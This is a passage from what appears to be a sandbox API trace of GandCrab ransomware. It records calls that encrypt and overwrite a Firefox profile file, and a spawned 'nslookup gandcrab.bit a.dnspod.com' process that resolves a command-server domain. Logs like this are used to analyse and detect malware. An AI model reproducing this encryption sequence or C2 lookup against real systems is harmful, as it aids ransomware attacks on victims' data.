| out: phProv=0x285e66c*=0x58ff08) returned 1 [0057.933] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd808) returned 1 [0057.933] CryptGetKeyParam (in: hKey=0x5dd808, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.933] CryptEncrypt (in: hKey=0x5dd808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.933] GetLastError () returned 0x0 [0057.933] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0057.933] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.933] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.933] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.933] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x200, lpOverlapped=0x0) returned 1 [0057.949] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.949] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.949] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.949] SetFilePointer (in: hFile=0x504, lDistanceToMove=-512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.949] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x200, lpOverlapped=0x0) returned 1 [0057.950] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.950] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.953] WriteFile (hFile=0x504, lpBuffer=0x2870000, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0) Process: id = "2" image_name = "nslookup.exe" filename = "c:\\windows\\syswow64\\nslookup.exe" page_root = "0x5e6f000" os_pid = "0xdf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x478" cmd_line = "nslookup gandcrab.bit a.dnspod.com" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013d92" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 499 start_va = 0x950000 end_va = 0x96ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 500 start_va = 0x970000 end_va = 0x971fff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 501 start_va = 0x980000 end_va = 0x993fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 502 start_va = 0x9a0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 503 start_va = 0x9e0000 end_va = 0xa1ffff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 504 start_va = 0xa20000 end_va = 0xa23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 505 start_va = 0xa30000 end_va = 0xa30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 506 start_va = 0xa40000 end_va = 0xa41fff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 507 start_va = 0x1360000 end_va = 0x1376fff entry_point = 0x1360000 region_type = mapped_file name = "nslookup.exe" filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe") Region: id = 508 start_va = 0x1380000 end_va = 0x537ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001380000" filename = "" Region: id = 509 start_va = 0x77190000 end_va = 0x77308fff entry_point = 0x77190000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 510 start_va = 0x7eba0000 end_va = 0x7ebc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eba0000" filename = "" Region: id = 511 start_va = 0x7ebc3000 end_va = 0x7ebc3fff entry_point = 0x0 region_type = private name = "private_0x000000007ebc3000" filename = "" Region: id = 512 start_va = 0x7ebcc000 end_va = 0x7ebcefff entry_point = 0x0 region_type = private name = "private_0x000000007ebcc000" filename = "" Region: id = 513 start_va = 0x7ebcf000 end_va = 0x7ebcffff entry_point = 0x0 region_type = private name = "private_0x000000007ebcf000" filename = "" Region: id = 514 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 515 start_va = 0x7fff0000 end_va = 0x7dfb3d30ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 516 start_va = 0x7dfb3d310000 end_va = 0x7ffb3d30ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb3d310000" filename = "" Region: id = 517 start_va = 0x7ffb3d310000 end_va = 0x7ffb3d4d1fff entry_point = 0x7ffb3d310000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 518 start_va = 0x7ffb3d4d2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffb3d4d2000" filename = "" Region: id = 519 start_va = 0xbe0000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 520 start_va = 0x5ca00000 end_va = 0x5ca72fff entry_point = 0x5ca00000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 521 start_va = 0x5ca80000 end_va = 0x5cacefff entry_point = 0x5ca80000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 522 start_va = 0xcc0000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 523 start_va = 0x5c9f0000 end_va = 0x5c9f7fff entry_point = 0x5c9f0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 595 start_va = 0x950000 end_va = 0x95ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 596 start_va = 0xa50000 end_va = 0xb0dfff entry_point = 0xa50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 597 start_va = 0x75f20000 end_va = 0x76095fff entry_point = 0x75f20000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 598 start_va = 0x76bc0000 end_va = 0x76caffff entry_point = 0x76bc0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 599 start_va = 0x7eaa0000 end_va = 0x7eb9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eaa0000" filename = "" Region: id = 600 start_va = 0x960000 end_va = 0x963fff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 601 start_va = 0xb10000 end_va = 0xb4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 602 start_va = 0xb50000 end_va = 0xb8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 603 start_va = 0xf60000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 604 start_va = 0x730e0000 end_va = 0x73163fff entry_point = 0x730e0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 605 start_va = 0x73170000 end_va = 0x731bdfff entry_point = 0x73170000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 606 start_va = 0x74230000 end_va = 0x74288fff entry_point = 0x74230000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 607 start_va = 0x74290000 end_va = 0x74299fff entry_point = 0x74290000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 608 start_va = 0x742a0000 end_va = 0x742bdfff entry_point = 0x742a0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 609 start_va = 0x75b80000 end_va = 0x75c3dfff entry_point = 0x75b80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 610 start_va = 0x75e70000 end_va = 0x75f1bfff entry_point = 0x75e70000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 611 start_va = 0x760a0000 end_va = 0x760e2fff entry_point = 0x760a0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 612 start_va = 0x76470000 end_va = 0x764cbfff entry_point = 0x76470000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 613 start_va = 0x77040000 end_va = 0x77046fff entry_point = 0x77040000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 614 start_va = 0x7ebc9000 end_va = 0x7ebcbfff entry_point = 0x0 region_type = private name = "private_0x000000007ebc9000" filename = "" Region: id = 615 start_va = 0x73060000 end_va = 0x73071fff entry_point = 0x73060000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 616 start_va = 0x73040000 end_va = 0x73055fff entry_point = 0x73040000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 617 start_va = 0x73020000 end_va = 0x73032fff entry_point = 0x73020000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 618 start_va = 0x74500000 end_va = 0x7463ffff entry_point = 0x74500000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 619 start_va = 0x769b0000 end_va = 0x76afcfff entry_point = 0x769b0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 620 start_va = 0xb90000 end_va = 0xbb9fff entry_point = 0xb90000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 621 start_va = 0xdc0000 end_va = 0xf47fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dc0000" filename = "" Region: id = 622 start_va = 0x74730000 end_va = 0x7475afff entry_point = 0x74730000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 623 start_va = 0x77070000 end_va = 0x7718ffff entry_point = 0x77070000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 624 start_va = 0x970000 end_va = 0x974fff entry_point = 0x970000 region_type = mapped_file name = "nslookup.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui") Region: id = 625 start_va = 0xf70000 end_va = 0x10f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f70000" filename = "" Region: id = 626 start_va = 0x5380000 end_va = 0x677ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005380000" filename = "" Region: id = 627 start_va = 0xb90000 end_va = 0xb90fff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 628 start_va = 0xba0000 end_va = 0xba0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 629 start_va = 0x73010000 end_va = 0x7301afff entry_point = 0x73010000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 630 start_va = 0x730d0000 end_va = 0x730d7fff entry_point = 0x730d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 631 start_va = 0x73280000 end_va = 0x732affff entry_point = 0x73280000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 632 start_va = 0x73270000 end_va = 0x73277fff entry_point = 0x73270000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 633 start_va = 0x73080000 end_va = 0x730c5fff entry_point = 0x73080000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 634 start_va = 0x73410000 end_va = 0x7342afff entry_point = 0x73410000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 39 os_tid = 0xde8 [0045.509] GetModuleHandleA (lpModuleName=0x0) returned 0x1360000 [0045.509] __set_app_type (_Type=0x1) [0045.509] __p__fmode () returned 0x75c34d6c [0045.509] __p__commode () returned 0x75c35b1c [0045.509] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x136cf30) returned 0x0 [0045.509] __getmainargs (in: _Argc=0x1371888, _Argv=0x137188c, _Env=0x1371890, _DoWildCard=0, _StartInfo=0x137189c | out: _Argc=0x1371888, _Argv=0x137188c, _Env=0x1371890) returned 0 [0045.509] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0045.509] SetThreadUILanguage (LangId=0x0) returned 0x409 [0045.512] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1372120 | out: lpWSAData=0x1372120) returned 0 [0045.514] socket (af=2, type=2, protocol=0) returned 0xc4 [0045.515] closesocket (s=0xc4) returned 0 [0045.515] RtlIpv4StringToAddressA () returned 0x0 [0045.515] RtlInitString (in: DestinationString=0xa1fa38, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0045.515] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa40, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0045.515] NtOpenKey (in: KeyHandle=0xa1fa70, DesiredAccess=0x20019, ObjectAttributes=0xa1fa20*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xa1fa70*=0xc4) returned 0x0 [0045.515] RtlFreeAnsiString (AnsiString="\\") [0045.515] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa2c, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0045.515] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0xccec68, Length=0x400, ResultLength=0xa1fa34 | out: KeyValueInformation=0xccec68, ResultLength=0xa1fa34) returned 0xc0000034 [0045.515] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa2c, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0045.515] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0xccec68, Length=0x400, ResultLength=0xa1fa34 | out: KeyValueInformation=0xccec68*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0xa1fa34) returned 0x0 [0045.515] RtlUnicodeStringToAnsiString (in: DestinationString=0xa1fa24, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0045.515] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa2c, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0045.515] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0xccec68, Length=0x400, ResultLength=0xa1fa34 | out: KeyValueInformation=0xccec68, ResultLength=0xa1fa34) returned 0xc0000034 [0045.516] RtlInitString (in: DestinationString=0xa1fa38, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0045.516] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa40, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0045.516] NtOpenKey (in: KeyHandle=0xa1fa5c, DesiredAccess=0x20019, ObjectAttributes=0xa1fa20*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xa1fa5c*=0x0) returned 0xc0000034 [0045.516] RtlFreeAnsiString (AnsiString="\\") [0045.516] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa2c, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0045.516] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0xccec68, Length=0x400, ResultLength=0xa1fa34 | out: KeyValueInformation=0xccec68, ResultLength=0xa1fa34) returned 0xc0000034 [0045.516] RtlAnsiStringToUnicodeString (in: DestinationString=0xa1fa2c, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0045.516] NtQueryValueKey (in: KeyHandle=0xc4, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0xccec68, Length=0x400, ResultLength=0xa1fa34 | out: KeyValueInformation=0xccec68, ResultLength=0xa1fa34) returned 0xc0000034 [0045.516] gethostname (in: name=0xf62248, namelen=12800 | out: name="LHnIwsj") returned 0 [0045.725] getenv (_VarName="HOME") returned 0x0 [0045.725] RtlIpv4StringToAddressA () returned 0xc000000d [0045.725] RtlIpv6StringToAddressExA (AddressString="a.dnspod.com", Address=0xa1fac8, ScopeId=0xa1fad8, Port=0xa1fac2) returned 0xc000000d [0045.725] RtlRestoreLastWin32Error () returned 0x2550 [0045.725] getaddrinfo (in: pNodeName="a.dnspod.com", pServiceName=0x0, pHints=0x0, ppResult=0xa1fa90 | out: ppResult=0xa1fa90*=0xcd44c8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xcd6068*(sa_family=2, sin_port=0x0, sin_addr="101.226.79.205"), ai_next=0xcd4618*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xcd5d98*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0))) returned 0 [0045.738] FreeAddrInfoW (pAddrInfo=0xcd44c8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xcd6068*(sa_family=2, sin_port=0x0, sin_addr="101.226.79.205"), ai_next=0xcd4618*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0xcd5d98*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0))) [0045.738] _vsnprintf_s (in: _DstBuf=0xa1f970, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xa0f938 | out: _DstBuf="205.79.226.101.in-addr.arpa.") returned 28 [0045.739] htons (hostshort=0x1) returned 0x100 [0045.739] htons (hostshort=0x1) returned 0x100 [0045.739] socket (af=2, type=2, protocol=0) returned 0x190 [0045.740] connect (s=0x190, name=0xf60db0*(sa_family=2, sin_port=0x35, sin_addr="101.226.79.205"), namelen=16) returned 0 [0045.740] send (in: s=0x190, buf=0xa0f970*, len=45, flags=0 | out: buf=0xa0f970*) returned 45 [0045.740] select (in: nfds=400, readfds=0x9ff570, writefds=0x0, exceptfds=0x0, timeout=0x9ff540 | out: readfds=0x9ff570, writefds=0x0, exceptfds=0x0) returned 0 [0047.733] printf (_Format="DNS request timed out.\n") returned 23 [0047.734] printf (_Format=" timeout was %d seconds.\n") returned 27 [0047.734] closesocket (s=0x190) returned 0 [0047.734] RtlIpv4AddressToStringExA () returned 0xc000000d [0047.735] strcpy_s (in: _Dst=0xf611a8, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0047.735] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0xcd4618 [0047.735] strcpy_s (in: _Dst=0x1372020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0047.735] __iob_func () returned 0x75c31208 [0047.735] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0xa1f838, nSize=0x0, Arguments=0xa1f83c | out: lpBuffer="ÀcÍ") returned 0x7 [0047.736] fprintf (in: _File=0x75c31228, _Format="%-7s %s" | out: _File=0x75c31228) returned 16 [0047.736] fprintf (in: _File=0x75c31228, _Format="\nAddress:" | out: _File=0x75c31228) returned 9 [0047.736] inet_ntoa (in=0xcd4fe265) returned="101.226.79.205" [0047.736] fprintf (in: _File=0x75c31228, _Format="%c %s" | out: _File=0x75c31228) returned 16 [0047.736] fprintf (in: _File=0x75c31228, _Format="\n\n" | out: _File=0x75c31228) returned 2 [0047.736] RtlIpv4StringToAddressA () returned 0xc000000d [0047.736] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0xa1f818, ScopeId=0xa1f828, Port=0xa1f812) returned 0xc000000d [0047.736] RtlRestoreLastWin32Error () returned 0x2550 [0047.736] RtlIpv4StringToAddressA () returned 0xc000000d [0047.736] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0xa1f7a0, ScopeId=0xa1f7b0, Port=0xa1f79a) returned 0xc000000d [0047.736] RtlRestoreLastWin32Error () returned 0x2550 [0047.736] sprintf_s (in: _DstBuf=0xa1f508, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0047.736] htons (hostshort=0x2) returned 0x200 [0047.736] htons (hostshort=0x1) returned 0x100 [0047.736] socket (af=2, type=2, protocol=0) returned 0x190 [0047.736] connect (s=0x190, name=0xcd4638*(sa_family=2, sin_port=0x35, sin_addr="101.226.79.205"), namelen=16) returned 0 [0047.736] send (in: s=0x190, buf=0xa0f508*, len=30, flags=0 | out: buf=0xa0f508*) returned 30 [0047.736] select (in: nfds=400, readfds=0x9ff108, writefds=0x0, exceptfds=0x0, timeout=0x9ff0d8 | out: readfds=0x9ff108, writefds=0x0, exceptfds=0x0) returned 1 [0048.049] recv (in: s=0x190, buf=0x9ff4c8, len=65536, flags=0 | out: buf=0x9ff4c8*) returned 124 [0048.049] closesocket (s=0x190) returned 0 [0048.049] htons (hostshort=0x100) returned 0x1 [0048.049] htons (hostshort=0x100) returned 0x1 [0048.049] htons (hostshort=0x300) returned 0x3 [0048.049] htons (hostshort=0x0) returned 0x0 [0048.049] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0xcd7590 [0048.050] sprintf_s (in: _DstBuf=0xa1f508, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0048.050] htons (hostshort=0x3) returned 0x300 [0048.050] htons (hostshort=0x1) returned 0x100 [0048.050] socket (af=2, type=2, protocol=0) returned 0x190 [0048.051] connect (s=0x190, name=0xcd4638*(sa_family=2, sin_port=0x35, sin_addr="101.226.79.205"), namelen=16) returned 0 [0048.051] send (in: s=0x190, buf=0xa0f508*, len=30, flags=0 | out: buf=0xa0f508*) returned 30 [0048.051] select (in: nfds=400, readfds=0x9ff108, writefds=0x0, exceptfds=0x0, timeout=0x9ff0d8 | out: readfds=0x9ff108, writefds=0x0, exceptfds=0x0) returned 1 [0048.355] recv (in: s=0x190, buf=0x9ff4c8, len=65536, flags=0 | out: buf=0x9ff4c8*) returned 100 [0048.355] closesocket (s=0x190) returned 0 [0048.355] htons (hostshort=0x100) returned 0x1 [0048.355] htons (hostshort=0x0) returned 0x0 [0048.356] htons (hostshort=0x100) returned 0x1 [0048.356] htons (hostshort=0x0) returned 0x0 [0048.356] htons (hostshort=0x100) returned 0x1 [0048.356] htons (hostshort=0x0) returned 0x0 [0048.356] htons (hostshort=0x100) returned 0x1 [0048.356] htons (hostshort=0x0) returned 0x0 [0048.356] htons (hostshort=0x100) returned 0x1 [0048.356] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0xa1f7d0, nSize=0x0, Arguments=0xa1f7d4 | out: lpBuffer="PdÍ") returned 0x5 [0048.356] fprintf (in: _File=0x75c31228, _Format="%-7s %s" | out: _File=0x75c31228) returned 21 [0048.356] fprintf (in: _File=0x75c31228, _Format="\nAddress:" | out: _File=0x75c31228) returned 9 [0048.356] inet_ntoa (in=0x6ce9b4e) returned="78.155.206.6" [0048.356] fprintf (in: _File=0x75c31228, _Format="%c %s" | out: _File=0x75c31228) returned 14 [0048.356] fprintf (in: _File=0x75c31228, _Format="\n\n" | out: _File=0x75c31228) returned 2 [0048.356] LocalFree (hMem=0xcd4618) returned 0x0 [0048.356] exit (_Code=0) Thread: 